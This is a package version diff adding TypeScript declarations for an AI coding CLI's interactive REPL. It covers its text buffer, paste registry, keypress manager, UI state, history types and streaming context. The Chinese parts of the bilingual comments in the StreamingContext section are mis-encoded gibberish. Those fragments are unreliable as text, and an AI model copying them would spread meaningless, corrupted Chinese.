@kodax-ai/kodax 0.7.40 → 0.7.42

package/dist/sdk-repl.d.ts

@@ -1,21 +1,3034 @@
+import React$1, { ReactNode } from 'react';
+import { k as PermissionMode } from './types-chunks/storage.d-Bc5DoAwp.js';
+export { B as BUILTIN_COMMANDS, C as Command, a as CommandCallbacks, b as ConfirmResult, c as CurrentConfig, F as FileSessionStorage, I as InkREPLOptions, d as InteractiveContext, e as InteractiveMode, K as KODAX_CONFIG_FILE, f as KODAX_DIR, g as KODAX_SESSIONS_DIR, h as KODAX_VERSION, P as PERMISSION_MODES, i as PREVIEW_MAX_LENGTH, j as PermissionContext, R as RepLOptions, l as computeConfirmTools, m as createInteractiveContext, n as executeCommand, o as getGitRoot, p as getProviderList, q as getProviderModel, r as getVersion, s as hydrateProcessEnvFromShell, t as isPermissionMode, u as isProviderConfigured, v as loadConfig, w as normalizePermissionMode, x as parseCommand, y as permissionModeDisplayName, z as prepareRuntimeConfig, A as processSpecialSyntax, D as rateLimitedCall, E as registerConfiguredCustomProviders, G as runInkInteractiveMode, H as runInteractiveMode, J as saveConfig, L as touchContext } from './types-chunks/storage.d-Bc5DoAwp.js';
+import { D as KodaXReasoningMode, m as KodaXMessage, h as KodaXCustomProviderConfig } from './types-chunks/types.d-B1uGoVTE.js';
+import { K as KodaXAgentMode, I as KodaXEvents, aA as ProviderRecoveryEvent, W as KodaXMcpServerConfig, X as KodaXMcpServersConfig, l as BashPrefixExtractor, d as AutoModeAskUser, A as AgentsFile, aL as SignalCollector, j as AutoModeToolGuardrail, aK as RulesLoadResult, a8 as KodaXResult } from './types-chunks/bash-prefix-extractor.d-CkhaqKkg.js';
+import { b as QueuedMessage } from './types-chunks/types.d-C5mHR87z.js';
+export { M as MemorySessionStorage, S as SessionData, a as SessionStorage, c as createMemorySessionStorage } from './types-chunks/session-storage.d-Cci897iM.js';
+export { DeleteSessionResult, ListSessionsOptions, RunningSessionInfo, SessionManager, SessionSummary, WatchSessionsCallback, createSessionManager, deleteSession, forkSession, listRunningSessions, listSessions, loadSession, rewindSession, setActiveEntry, watchSessions } from './sdk-session.js';
+import './types-chunks/types.d-mM8vqvhT.js';
+import 'readline';
+import 'child_process';
+import './types-chunks/instance-discovery.d-BsKnIwpg.js';
+import './types-chunks/capability.d-3C62G8Eq.js';
+import './types-chunks/config.d-BfJUXxC0.js';
+import './types-chunks/cost-tracker.d-B6vMoLLF.js';
+
 /**
- * SDK subpath entry — `@kodax-ai/kodax/repl`
+ * TextBuffer - Text buffer management class - 文本缓冲区管理类
  *
- * Re-exports the entire `@kodax-ai/repl` public API — full interactive
- * terminal experience built on Ink: `runInkInteractiveMode`, configuration
- * loaders (`loadConfig` / `saveConfig`), session storage primitives,
- * provider resolution, etc.
+ * Reference implementation: Gemini CLI text-buffer.ts - 参考实现: Gemini CLI text-buffer.ts
+ * Supports multi-line text editing, cursor navigation, and Unicode-safe operations - 支持多行文本编辑，光标导航，Unicode 安全操作
+ */
+interface CursorPosition {
+    row: number;
+    col: number;
+}
+interface VisualCursor$1 {
+    row: number;
+    col: number;
+}
+interface TextBufferOptions {
+    maxHistory?: number;
+}
+declare class TextBuffer {
+    private _text;
+    private _lines;
+    private _cursor;
+    private _rememberedCol;
+    private _history;
+    private _historyIndex;
+    private _maxHistory;
+    constructor(options?: TextBufferOptions);
+    get text(): string;
+    get lines(): string[];
+    get cursor(): CursorPosition;
+    get lineCount(): number;
+    get currentLine(): string;
+    get isEmpty(): boolean;
+    /**
+     * Get visual width of current line - 获取当前行的视觉宽度
+     */
+    get currentLineVisualWidth(): number;
+    /**
+     * Get visual position of cursor (considering wide characters) - 获取光标的视觉位置（考虑宽字符）
+     */
+    get visualCursor(): VisualCursor$1;
+    /**
+     * Get visual width of character at cursor position on current line - 获取当前行在光标位置的字符视觉宽度
+     */
+    getCharWidthAtCursor(): number;
+    /**
+     * Convert visual column position to logical column position - 将视觉列位置转换为逻辑列位置
+     */
+    visualColToLogicalCol(visualCol: number): number;
+    /**
+     * Move to visual column position - 移动到视觉列位置
+     */
+    moveToVisualCol(visualCol: number): void;
+    /**
+     * Set entire text content - 设置整个文本内容
+     */
+    setText(text: string): void;
+    /**
+     * Replace a text range and leave the cursor after the replacement.
+     */
+    replaceRange(start: number, end: number, replacement: string): void;
+    /**
+     * Insert text at cursor position - 在光标位置插入文本
+     */
+    insert(text: string, options?: {
+        paste?: boolean;
+    }): void;
+    /**
+     * Insert text on current line - 在当前行插入文本
+     */
+    private _insertText;
+    /**
+     * Insert newline character - 插入换行符
+     */
+    newline(): void;
+    private _insertNewline;
+    /**
+     * Delete character before cursor - 删除光标前的字符
+     */
+    backspace(): void;
+    /**
+     * Delete character after cursor - 删除光标后的字符
+     */
+    delete(): void;
+    /**
+     * Move cursor - 移动光标
+     */
+    move(direction: "up" | "down" | "left" | "right" | "home" | "end"): void;
+    private _moveUp;
+    private _moveDown;
+    private _moveLeft;
+    private _moveRight;
+    private _moveHome;
+    private _moveEnd;
+    /**
+     * Clamp column position within current line range using rememberedCol - 限制列位置在当前行范围内，使用 rememberedCol
+     */
+    private _clampColumn;
+    /**
+     * Clamp cursor to valid range - 限制光标在有效范围内
+     */
+    private _clampCursor;
+    /**
+     * Delete content from cursor to end of line (Ctrl+K) - 删除光标到行尾的内容 (Ctrl+K)
+     */
+    killLineRight(): void;
+    /**
+     * Delete content from line start to cursor (Ctrl+U) - 删除行首到光标的内容 (Ctrl+U)
+     */
+    killLineLeft(): void;
+    /**
+     * Delete word before cursor (Ctrl+W) - 删除光标前的一个词 (Ctrl+W)
+     */
+    deleteWordLeft(): void;
+    private _saveHistory;
+    /**
+     * Undo - 撤销
+     */
+    undo(): boolean;
+    /**
+     * Redo - 重做
+     */
+    redo(): boolean;
+    private _updateText;
+    private _setTextInternal;
+    /**
+     * Move cursor to an absolute string offset - 将光标移动到文本中的绝对偏移位置
+     */
+    moveToAbsoluteOffset(offset: number): void;
+    /**
+     * Clear buffer - 清空缓冲区
+     */
+    clear(): void;
+    /**
+     * Get absolute position of cursor in text - 获取光标在文本中的绝对位置
+     */
+    getAbsoluteOffset(): number;
+    /**
+     * Check if current line ends with backslash - 检查当前行是否以反斜杠结尾
+     */
+    isLineContinuation(): boolean;
+    /**
+     * Move cursor to end of entire text - 将光标移动到整个文本的末尾
+     */
+    moveToEnd(): void;
+}
+
+/**
+ * PasteStore — per-session paste content registry + placeholder ref helpers.
+ *
+ * Design: see docs/KNOWN_ISSUES.md Issue 121 (三层防御：粘贴拦截 / 输入兜底 / 渲染硬上限).
+ * Reference implementation: Claude Code src/history.ts + src/utils/pasteStore.ts.
+ *
+ * Responsibilities (pure / deterministic where possible):
+ * - Format / parse `[Pasted text #N +K lines]` and related refs
+ * - Allocate monotonic per-session paste IDs
+ * - Store / expand paste content in memory
+ * - Find placeholder boundaries adjacent to cursor (for atomic edit)
+ *
+ * Stateful concerns are confined to the `PasteStore` class. Everything else is
+ * pure so rendering and controller code can call them safely.
+ */
+type PastedContentType = "text" | "image";
+interface PastedContent {
+    id: number;
+    type: PastedContentType;
+    content: string;
+    /** Optional sha256 hash — set when backed by on-disk paste-cache */
+    contentHash?: string;
+    /** Media type for image pastes; unused for text */
+    mediaType?: string;
+    /** Optional filename hint for image pastes */
+    filename?: string;
+}
+/**
+ * Session-scoped stateful registry. One instance per REPL session (not per
+ * paste). Lives as long as the composer. IDs are monotonic and never recycled
+ * so undo/redo never collides with a fresh paste that reused an id.
+ */
+declare class PasteStore {
+    private readonly contents;
+    private nextId;
+    /**
+     * Register text content, returns the allocated id + the placeholder string
+     * to insert into the buffer in place of the raw content.
+     */
+    registerText(content: string): {
+        id: number;
+        placeholder: string;
+        numLines: number;
+    };
+    /**
+     * Register pre-computed Layer 2 truncation output. Caller is responsible
+     * for constructing the truncated text; this just stores the middle chunk.
+     */
+    registerTruncatedText(content: string): {
+        id: number;
+        numLines: number;
+    };
+    /**
+     * Adopt a pre-allocated id + content (e.g. when restoring from disk-backed
+     * input history).
+     */
+    adopt(entry: PastedContent): void;
+    /** Allocate the NEXT id without registering anything yet. */
+    peekNextId(): number;
+    get(id: number): PastedContent | undefined;
+    /** Expand all placeholders in `input` using this store's contents. */
+    expand(input: string): string;
+    /**
+     * Snapshot the current contents map. Returned map is a COPY — mutation does
+     * not leak back. Used by undo buffer snapshots.
+     */
+    snapshot(): Map<number, PastedContent>;
+    /** Replace contents from a snapshot. Used by undo. `nextId` preserved. */
+    restore(snapshot: ReadonlyMap<number, PastedContent>): void;
+    /**
+     * Session-level reset. Called on `/clear`, start-new-session, etc.
+     * Does NOT clear on per-submit since Up-arrow navigation re-submits may
+     * reuse stored refs.
+     */
+    reset(): void;
+    size(): number;
+    /** Export contents for persistence (input history serialization). */
+    export(): PastedContent[];
+}
+
+/**
+ * Keyboard info interface - 键盘信息接口
+ * Reference: Gemini CLI Key interface - 参考: Gemini CLI Key interface
+ */
+interface KeyInfo {
+    name: string;
+    sequence: string;
+    ctrl: boolean;
+    meta: boolean;
+    shift: boolean;
+    insertable: boolean;
+    isPasted?: boolean;
+    mouse?: {
+        action: "press" | "release" | "drag" | "move" | "wheel";
+        button: "left" | "middle" | "right" | "wheelup" | "wheeldown" | "unknown";
+        row: number;
+        column: number;
+    };
+}
+
+type PromptEditingMode = "idle" | "typing" | "pasting";
+interface UseTextBufferReturn {
+    buffer: TextBuffer;
+    text: string;
+    cursor: CursorPosition;
+    lines: string[];
+    isPasting: boolean;
+    editingMode: PromptEditingMode;
+    /**
+     * Issue 121: session-scoped paste registry. Registered paste ids survive
+     * submit so Up-arrow input-history recall can still expand them.
+     */
+    pasteStore: PasteStore;
+    resetTransientState: () => void;
+    setText: (text: string) => void;
+    replaceRange: (start: number, end: number, replacement: string) => void;
+    insert: (text: string, options?: {
+        paste?: boolean;
+    }) => void;
+    newline: () => void;
+    backspace: () => void;
+    delete: () => void;
+    move: (direction: "up" | "down" | "left" | "right" | "home" | "end") => void;
+    moveToEnd: () => void;
+    moveToOffset: (offset: number) => void;
+    killLineRight: () => void;
+    killLineLeft: () => void;
+    deleteWordLeft: () => void;
+    clear: () => void;
+    undo: () => boolean;
+    redo: () => boolean;
+}
+/**
+ * Visual Layout Interface - 视觉布局接口
+ * Reference: Gemini CLI text-buffer.ts - VisualLayout
+ */
+interface VisualLayout$1 {
+    /** All visual lines for rendering - 所有视觉行（用于渲染） */
+    visualLines: string[];
+    /** For each logical line: [[visualLineIndex, startColInLogical], ...] - 每个逻辑行 -> 视觉行索引 + 起始列的映射 */
+    logicalToVisualMap: Array<Array<[number, number]>>;
+    /** For each visual line: [logicalLineIndex, startColInLogical] - 每个视觉行 -> 逻辑行 + 起始列的映射 */
+    visualToLogicalMap: Array<[number, number]>;
+}
+type VisualCursor = [number, number];
+/**
+ * An input-history entry. `text` is the display form (may contain
+ * `[Pasted text #N]` placeholders). `pastedContents`, when present, carries
+ * the stored contents needed to expand those placeholders after recall.
+ *
+ * Issue 121: pastedContents preserves paste fidelity across Up-arrow and
+ * undo. For entries loaded from disk-backed history, contents may carry only
+ * `contentHash` until `retrievePastedText` resolves them.
+ */
+interface HistoryEntry {
+    text: string;
+    timestamp: number;
+    pastedContents?: PastedContent[];
+}
+interface Completion$1 {
+    text: string;
+    display: string;
+    description?: string;
+    type: "file" | "command" | "argument";
+}
+interface Completer {
+    canComplete(input: string, cursorPos: number): boolean;
+    getCompletions(input: string, cursorPos: number): Promise<Completion$1[]>;
+}
+/**
+ * Autocomplete suggestion item - 自动补全建议项
+ * For SuggestionsDisplay component - 用于 SuggestionsDisplay 组件
+ */
+interface Suggestion {
+    id: string;
+    text: string;
+    displayText?: string;
+    description?: string;
+    type?: "command" | "file" | "history" | "argument" | "snippet" | "skill";
+    icon?: string;
+}
+interface ThemeColors {
+    primary: string;
+    secondary: string;
+    accent: string;
+    text: string;
+    dim: string;
+    thinking: string;
+    success: string;
+    warning: string;
+    error: string;
+    info: string;
+    hint: string;
+    background: string;
+    inputBackground: string;
+}
+interface ThemeSymbols {
+    prompt: string;
+    success: string;
+    error: string;
+    warning: string;
+    spinner: string[];
+}
+interface Theme {
+    name: string;
+    colors: ThemeColors;
+    symbols: ThemeSymbols;
+}
+interface PromptSubmitPayload {
+    /**
+     * Display form — what the user saw in the input bar. May contain
+     * `[Pasted text #N +K lines]` placeholders or `[...Truncated text #N ...]`
+     * refs (Issue 121).
+     */
+    displayText: string;
+    /**
+     * Fully expanded form — all paste placeholders substituted for their raw
+     * stored contents. This is what parseCommand / the agent pipeline consume.
+     */
+    fullText: string;
+    /** Paste contents referenced by displayText — for persistence / recall. */
+    pastedContents: PastedContent[];
+}
+interface InputPromptProps {
+    onSubmit: (payload: PromptSubmitPayload) => void;
+    placeholder?: string;
+    prompt?: string;
+    focus?: boolean;
+    initialValue?: string;
+    /** Callback when input text changes - 输入文本变化时的回调 */
+    onInputChange?: (text: string) => void;
+    /**
+     * Called when the ↑ arrow history recall brings back an entry with stored
+     * paste contents. Consumer can hydrate a disk-backed paste cache here.
+     */
+    onHistoryRecall?: (entry: {
+        text: string;
+        pastedContents: PastedContent[];
+    }) => void;
+    /**
+     * FEATURE_149 Phase 2.1 (v0.7.38) — pop the queued follow-up inputs back
+     * into the editor when the user presses ↑ on an empty buffer. Return the
+     * joined text to load (queue gets atomically cleared by the consumer), or
+     * `undefined` to leave history-recall behavior intact when the queue is
+     * empty.
+     */
+    onPopPendingInputs?: () => string | undefined;
+}
+interface StatusBarProps {
+    sessionId: string;
+    permissionMode: PermissionMode;
+    agentMode: KodaXAgentMode;
+    provider: string;
+    model: string;
+    tokenUsage?: {
+        input: number;
+        output: number;
+        total: number;
+    };
+    currentTool?: string;
+    activeToolCount?: number;
+    thinking?: boolean;
+    reasoningMode?: KodaXReasoningMode;
+    reasoningCapability?: string;
+    /** Is context currently compacting - 是否正在压缩上下文 */
+    isCompacting?: boolean;
+    /** Thinking character count - Issue 068: 显示 thinking 进度 */
+    thinkingCharCount?: number;
+    /** Whether a thinking stream is currently active */
+    isThinkingActive?: boolean;
+    /** Tool input character count - Issue 068: 显示 tool 输入进度 */
+    toolInputCharCount?: number;
+    /** Tool input content (truncated) - Issue 068 Phase 4: 显示参数摘要 */
+    toolInputContent?: string;
+    /** Current iteration number - Issue 068: 显示迭代进度 */
+    currentIteration?: number;
+    /** Maximum iterations - Issue 068: 显示迭代进度 */
+    maxIter?: number;
+    /** Context usage info - Issue 070: 显示上下文使用情况 */
+    contextUsage?: {
+        /** Current token count in context */
+        currentTokens: number;
+        /** Context window size (effective contextWindow) */
+        contextWindow: number;
+        /** Compaction trigger percentage (0-100) */
+        triggerPercent: number;
+    };
+    /** Whether current busy/thinking status should be visible in the bar */
+    showBusyStatus?: boolean;
+    managedPhase?: "starting" | "routing" | "preflight" | "round" | "worker" | "upgrade" | "verifying" | "completed";
+    managedHarnessProfile?: string;
+    managedWorkerTitle?: string;
+    managedRound?: number;
+    managedMaxRounds?: number;
+    managedGlobalWorkBudget?: number;
+    managedBudgetUsage?: number;
+    managedBudgetApprovalRequired?: boolean;
+    /**
+     * v0.7.38 FEATURE_156 — true when the runner-driven outer loop is
+     * parked in `waitForWakeEvent` (idle-yield from FEATURE_155). The
+     * status bar renders this as "{role} - waiting for N children"
+     * instead of falling back to the last role-emit label, so the user
+     * can tell the spinner is actively waiting on something concrete.
+     * Consumers MUST branch on `=== true` (undefined transitions out).
+     */
+    managedIdleWaiting?: boolean;
+    /** v0.7.38 FEATURE_156 — child count surfaced in the idle-wait label. */
+    managedIdleWaitingPendingCount?: number;
+    /**
+     * FEATURE_092 phase 2b.8: classifier engine indicator. Only renders when
+     * permissionMode is in the auto family. `'llm'` shows green `auto[LLM]`
+     * (healthy), `'rules'` shows yellow `auto[RULES]` (downgraded — every
+     * non-Tier-1 tool call escalates to user confirm).
+     */
+    autoModeEngine?: 'llm' | 'rules';
+}
+/**
+ * @deprecated Use MessageListProps from components/MessageList.js instead
+ */
+interface LegacyMessageListProps {
+    messages: Message[];
+    isLoading?: boolean;
+}
+interface Message {
+    id: string;
+    role: "user" | "assistant" | "system";
+    content: string;
+    timestamp: number;
+}
+interface AppState {
+    messages: Message[];
+    isLoading: boolean;
+    error?: string;
+    sessionId: string;
+}
+interface AppProps {
+    model: string;
+    provider: string;
+    onSubmit: (input: string) => Promise<void>;
+    permissionMode?: PermissionMode;
+    agentMode?: KodaXAgentMode;
+}
+/**
+ * Streaming response state enum - 流式响应状态枚举
+ * Reference: Gemini CLI StreamingContext.tsx - 参考: Gemini CLI StreamingContext.tsx
+ */
+declare enum StreamingState {
+    Idle = "idle",
+    Responding = "responding",
+    WaitingForConfirmation = "waiting_for_confirmation"
+}
+/**
+ * Tool call status enum - 工具调用状态枚举
+ * Reference: Gemini CLI useToolScheduler - 参考: Gemini CLI useToolScheduler
+ */
+declare enum ToolCallStatus {
+    Scheduled = "scheduled",
+    Validating = "validating",
+    AwaitingApproval = "awaiting_approval",
+    Executing = "executing",
+    Success = "success",
+    Error = "error",
+    Cancelled = "cancelled"
+}
+/**
+ * Tool call status icons - 工具调用状态图标
+ */
+declare const TOOL_STATUS_ICONS: Record<ToolCallStatus, string>;
+/**
+ * Single tool call - 单个工具调用
+ */
+interface ToolCall {
+    id: string;
+    name: string;
+    status: ToolCallStatus;
+    input?: Record<string, unknown>;
+    preview?: string;
+    output?: unknown;
+    error?: string;
+    progress?: number;
+    /** Real-time progress lines displayed inside the tool block during execution. */
+    progressLines?: string[];
+    startTime: number;
+    endTime?: number;
+}
+/**
+ * History item type - 历史项类型
+ * Reference: Gemini CLI HistoryItem - 参考: Gemini CLI HistoryItem
+ */
+type HistoryItemType = "user" | "assistant" | "system" | "tool_group" | "thinking" | "error" | "event" | "info" | "hint";
+/**
+ * History item base class - 历史项基类
+ */
+interface HistoryItemBase {
+    id: string;
+    type: HistoryItemType;
+    timestamp: number;
+}
+/**
+ * User message - 用户消息
+ */
+interface HistoryItemUser extends HistoryItemBase {
+    type: "user";
+    text: string;
+}
+/**
+ * Assistant message - 助手消息
+ */
+interface HistoryItemAssistant extends HistoryItemBase {
+    type: "assistant";
+    text: string;
+    compactText?: string;
+    isStreaming?: boolean;
+}
+/**
+ * System message - 系统消息
+ */
+interface HistoryItemSystem extends HistoryItemBase {
+    type: "system";
+    text: string;
+}
+/**
+ * Tool group - 工具组
+ */
+interface HistoryItemToolGroup extends HistoryItemBase {
+    type: "tool_group";
+    tools: ToolCall[];
+}
+/**
+ * Thinking content - 思考内容
+ */
+interface HistoryItemThinking extends HistoryItemBase {
+    type: "thinking";
+    text: string;
+    compactText?: string;
+}
+/**
+ * Error message - 错误消息
+ */
+interface HistoryItemError extends HistoryItemBase {
+    type: "error";
+    text: string;
+}
+interface HistoryItemEvent extends HistoryItemBase {
+    type: "event";
+    text: string;
+    icon?: string;
+    compactText?: string;
+}
+/**
+ * Info message - 信息消息
+ */
+interface HistoryItemInfo extends HistoryItemBase {
+    type: "info";
+    text: string;
+    icon?: string;
+    compactText?: string;
+    /**
+     * When true, drop the default bottom margin so consecutive info items
+     * (e.g. a burst of repo-intelligence trace stages emitted within one
+     * turn) visually stack as a block instead of each getting a blank
+     * spacer line. Non-tight items following a tight run restore normal
+     * spacing on their own via their own `marginBottom`.
+     */
+    tightSpacing?: boolean;
+}
+/**
+ * Hint message - 提示消息
+ */
+interface HistoryItemHint extends HistoryItemBase {
+    type: "hint";
+    text: string;
+}
+/**
+ * Union type of all history items - 所有历史项的联合类型
+ */
+type HistoryItem = HistoryItemUser | HistoryItemAssistant | HistoryItemSystem | HistoryItemToolGroup | HistoryItemThinking | HistoryItemError | HistoryItemEvent | HistoryItemInfo | HistoryItemHint;
+/**
+ * Creatable history item types (with text property) - 可创建的历史项类型（带 text 属性）
+ * Used for addHistoryItem function parameter type - 用于 addHistoryItem 等函数的参数类型
+ */
+type CreatableHistoryItem = Omit<HistoryItemUser, "id" | "timestamp"> | Omit<HistoryItemAssistant, "id" | "timestamp"> | Omit<HistoryItemSystem, "id" | "timestamp"> | Omit<HistoryItemThinking, "id" | "timestamp"> | Omit<HistoryItemError, "id" | "timestamp"> | Omit<HistoryItemEvent, "id" | "timestamp"> | Omit<HistoryItemInfo, "id" | "timestamp"> | Omit<HistoryItemHint, "id" | "timestamp"> | Omit<HistoryItemToolGroup, "id" | "timestamp">;
+/**
+ * UI global state interface - UI 全局状态接口
+ * Reference: Gemini CLI UIStateContext - 参考: Gemini CLI UIStateContext
+ */
+interface UIState {
+    streamingState: StreamingState;
+    currentResponse: string;
+    history: HistoryItem[];
+    pendingToolCalls: ToolCall[];
+    sessionId: string;
+    provider: string;
+    model: string;
+    tokenUsage?: {
+        input: number;
+        output: number;
+        total: number;
+    };
+    error?: string;
+    isLoading: boolean;
+}
+/**
+ * UI actions interface - UI 操作接口
+ */
+interface UIActions {
+    setStreamingState: (state: StreamingState) => void;
+    appendToResponse: (text: string) => void;
+    clearResponse: () => void;
+    addHistoryItem: (item: CreatableHistoryItem) => void;
+    updateHistoryItem: (id: string, updates: Partial<HistoryItem>) => void;
+    clearHistory: () => void;
+    addToolCall: (tool: Omit<ToolCall, "id" | "startTime">) => string;
+    updateToolCall: (id: string, updates: Partial<ToolCall>) => void;
+    clearToolCalls: () => void;
+    setSessionId: (id: string) => void;
+    setProvider: (provider: string) => void;
+    setModel: (model: string) => void;
+    setTokenUsage: (usage: UIState["tokenUsage"]) => void;
+    setError: (error: string | undefined) => void;
+    setLoading: (loading: boolean) => void;
+}
+/**
+ * Keyboard event handler priority - 键盘事件处理器优先级
+ * Reference: Gemini CLI KeypressContext - 参考: Gemini CLI KeypressContext
+ */
+declare enum KeypressHandlerPriority {
+    Low = -100,
+    Normal = 0,
+    High = 100,
+    Critical = 200
+}
+/**
+ * Keyboard event handler - 键盘事件处理器
+ */
+type KeypressHandler = (event: KeyInfo) => boolean | void;
+/**
+ * Keyboard event - 键盘事件
+ */
+interface KeypressEvent {
+    key: KeyInfo;
+    handled: boolean;
+}
+/**
+ * Default UI state - 默认 UI 状态
+ */
+declare const DEFAULT_UI_STATE: UIState;
+
+/**
+ * App - KodaX CLI root component.
  *
- * Note: this subpath pulls Ink + React as transitive deps via the
- * `@kodax-ai/repl` package. SDK consumers who only need configuration
- * helpers (no UI) get fine-grained named imports — ESM tree-shaking
- * is friendly to the side-effect-free helper exports.
+ * Integrates all UI components and manages application state.
+ */
+
+declare const App: React$1.FC<AppProps>;
+/**
+ * Simplified App for testing only.
+ */
+declare const SimpleApp: React$1.FC<{
+    model: string;
+    provider: string;
+    onInput: (input: string) => void;
+}>;
+interface AppHandle {
+    addMessage: (role: Message["role"], content: string) => void;
+    updateTokenUsage: (input: number, output: number) => void;
+    setTool: (tool: string | undefined) => void;
+}
+
+/**
+ * KodaX CLI Event Handler - CLI 事件处理器
+ *
+ * Spinner animation and event handling for CLI mode - 用于 CLI 模式的 Spinner 动画和事件处理
+ */
+
+declare function createCliEvents(showSessionId?: boolean): KodaXEvents;
+
+/**
+ * JSONL event handler for non-interactive CLI mode.
+ *
+ * stdout carries newline-delimited JSON events only.
+ * stderr carries structured error diagnostics.
+ */
+
+type JsonWritable = Pick<NodeJS.WritableStream, 'write'>;
+interface JsonEventOutputOptions {
+    stdout?: JsonWritable;
+    stderr?: JsonWritable;
+}
+declare function createJsonEvents(options?: JsonEventOutputOptions): KodaXEvents;
+
+/**
+ * Generate unique ID - 生成唯一 ID
+ */
+declare function generateId(): string;
+/**
+ * Create history item with auto-generated ID and timestamp - 创建带自动生成 ID 和时间戳的历史项
+ */
+declare function createHistoryItem(item: CreatableHistoryItem): HistoryItem;
+/**
+ * Create tool call with auto-generated ID and start time - 创建带自动生成 ID 和开始时间的工具调用
+ */
+declare function createToolCall(tool: Omit<ToolCall, "id" | "startTime">): ToolCall;
+interface UIStateProviderProps {
+    children: ReactNode;
+    initialState?: Partial<UIState>;
+}
+declare function UIStateProvider({ children, initialState, }: UIStateProviderProps): React$1.ReactElement;
+/**
+ * Get UI state - 获取 UI 状态
+ */
+declare function useUIState(): UIState;
+/**
+ * Get UI actions - 获取 UI 操作
+ */
+declare function useUIActions(): UIActions;
+/**
+ * Get complete UI state and actions - 获取完整 UI 状态和操作
+ */
+declare function useUI(): {
+    state: UIState;
+    actions: UIActions;
+};
+
+/**
+ * KeypressContext
+ *
+ * Provides a priority-based keyboard manager backed by KodaX's local terminal
+ * runtime. This keeps keyboard input ownership below the shell layer instead of
+ * depending on Ink's `useInput`.
+ */
+
+interface KeypressManager {
+    register: (priority: number, handler: KeypressHandler) => () => void;
+    dispatch: (event: KeyInfo) => boolean;
+    size: () => number;
+}
+declare function createKeypressManager(): KeypressManager;
+interface KeypressProviderProps {
+    children: ReactNode;
+    enabled?: boolean;
+}
+declare function KeypressProvider({ children, enabled, }: KeypressProviderProps): React$1.ReactElement;
+declare function useKeypressManager(): KeypressManager;
+declare const KeyMatchers: {
+    readonly isEnter: (event: KeyInfo) => boolean;
+    readonly isEscape: (event: KeyInfo) => boolean;
+    readonly isCtrlC: (event: KeyInfo) => boolean;
+    readonly isCtrlD: (event: KeyInfo) => boolean;
+    readonly isUp: (event: KeyInfo) => boolean;
+    readonly isDown: (event: KeyInfo) => boolean;
+    readonly isLeft: (event: KeyInfo) => boolean;
+    readonly isRight: (event: KeyInfo) => boolean;
+    readonly isBackspace: (event: KeyInfo) => boolean;
+    readonly isDelete: (event: KeyInfo) => boolean;
+    readonly isTab: (event: KeyInfo) => boolean;
+    readonly isShiftEnter: (event: KeyInfo) => boolean;
+    readonly isCtrlEnter: (event: KeyInfo) => boolean;
+    readonly isInsertable: (event: KeyInfo) => boolean;
+};
+
+/**
+ * StreamingContext - Streaming Response Handling
+ *
+ * Reference implementation based on Gemini CLI's StreamingContext architecture - 鍙傝€?Gemini CLI 鐨?StreamingContext 鏋舵瀯瀹炵幇
+ * Manages streaming response state, cancellation operations, and error handling - 绠＄悊娴佸紡鍝嶅簲鐘舵€併€佸彇娑堟搷浣滃拰閿欒澶勭悊
+ */
+
+/**
+ * Iteration record - 杩唬璁板綍
+ * Stores a snapshot of one iteration's thinking and response - 瀛樺偍涓€杞凯浠ｇ殑 thinking 鍜屽搷搴斿揩鐓?
+ */
+interface IterationRecord {
+    /** Iteration number (1-based) - 杩唬搴忓彿锛堜粠1寮€濮嬶級 */
+    iteration: number;
+    /** Thinking content summary (truncated) - Thinking 鍐呭鎽樿锛堟埅鏂級 */
+    thinkingSummary: string;
+    /** Full thinking content length - 瀹屾暣 thinking 鍐呭闀垮害 */
+    thinkingLength: number;
+    /** Response content - 鍝嶅簲鍐呭 */
+    response: string;
+    /** Tools used in this iteration - 鏈疆浣跨敤鐨勫伐鍏?*/
+    toolsUsed: string[];
+}
+/**
+ * Streaming context value - 娴佸紡涓婁笅鏂囧€?
+ */
+interface StreamingContextValue {
+    /** 褰撳墠娴佸紡鐘舵€?*/
+    state: StreamingState;
+    /** 褰撳墠姝ｅ湪娴佸紡浼犺緭鐨勫搷搴?*/
+    currentResponse: string;
+    /** 閿欒淇℃伅 */
+    error?: string;
+    /** 鐢ㄤ簬鍙栨秷璇锋眰鐨?AbortController */
+    abortController?: AbortController;
+    /** 鏄惁姝ｅ湪 thinking */
+    isThinking: boolean;
+    /** Thinking 瀛楃璁℃暟 */
+    thinkingCharCount: number;
+    /** Thinking 鍐呭 (鐢ㄤ簬UI鏄剧ず) */
+    thinkingContent: string;
+    /** 褰撳墠鎵ц鐨勫伐鍏峰悕绉?*/
+    currentTool?: string;
+    /** 宸ュ叿杈撳叆瀛楃璁℃暟 */
+    toolInputCharCount: number;
+    /** 宸ュ叿杈撳叆鍐呭 (鐢ㄤ簬UI鏄剧ず鍙傛暟鎽樿) */
+    toolInputContent: string;
+    /** Iteration history - 杩唬鍘嗗彶 */
+    iterationHistory: IterationRecord[];
+    /** Current iteration number (1-based) - 褰撳墠杩唬搴忓彿锛堜粠1寮€濮嬶級 */
+    currentIteration: number;
+    /** Maximum iterations allowed - 鏈€澶у厑璁歌凯浠ｆ鏁?*/
+    maxIter: number;
+    /** 鏄惁姝ｅ湪鍘嬬缉涓婁笅鏂?*/
+    isCompacting: boolean;
+    pendingInputs: string[];
+    /**
+     * v0.7.41 — wall-clock timestamp captured when the current streaming
+     * round started (set by `startStreaming()`, cleared to `null` by
+     * `stopStreaming()` / `abort()` / `reset()`). Powers the inline
+     * spinner-row "(Ns · ↓ T tokens)" stats tail (claudecode parity,
+     * `c:/Works/claudecode/src/screens/REPL.tsx:932-953`
+     * `loadingStartTimeRef`).
+     */
+    roundStartedAt: number | null;
+}
+/**
+ * FEATURE_149 Phase 4 (v0.7.38) — `abort()` options.
+ *
+ * The default (no options) preserves the v0.6.0+ contract: abort drops the
+ * queued follow-ups so Esc's "cancel everything" UX stays predictable. The
+ * fast-abort path in `handleSubmit` (when the in-flight tool is tagged
+ * `interruptBehavior: 'cancel'`) passes `{ preservePendingInputs: true }` so
+ * the freshly-submitted prompt sitting in the queue survives the abort and
+ * is picked up by the next `runQueuedPromptSequence` iteration.
+ */
+interface AbortOptions {
+    readonly preservePendingInputs?: boolean;
+}
+/**
+ * Streaming actions interface - 娴佸紡鎿嶄綔鎺ュ彛
+ */
+interface StreamingActions {
+    /** 寮€濮嬫祦寮忓搷搴?*/
+    startStreaming: () => void;
+    /** 鍋滄娴佸紡鍝嶅簲 */
+    stopStreaming: () => void;
+    /** 杩藉姞鍝嶅簲鏂囨湰 */
+    appendResponse: (text: string) => void;
+    /** 娓呯┖鍝嶅簲 */
+    clearResponse: () => void;
+    /** 璁剧疆閿欒 */
+    setError: (error: string | undefined) => void;
+    /** 鍙栨秷褰撳墠娴佸紡鍝嶅簲 */
+    abort: (options?: AbortOptions) => void;
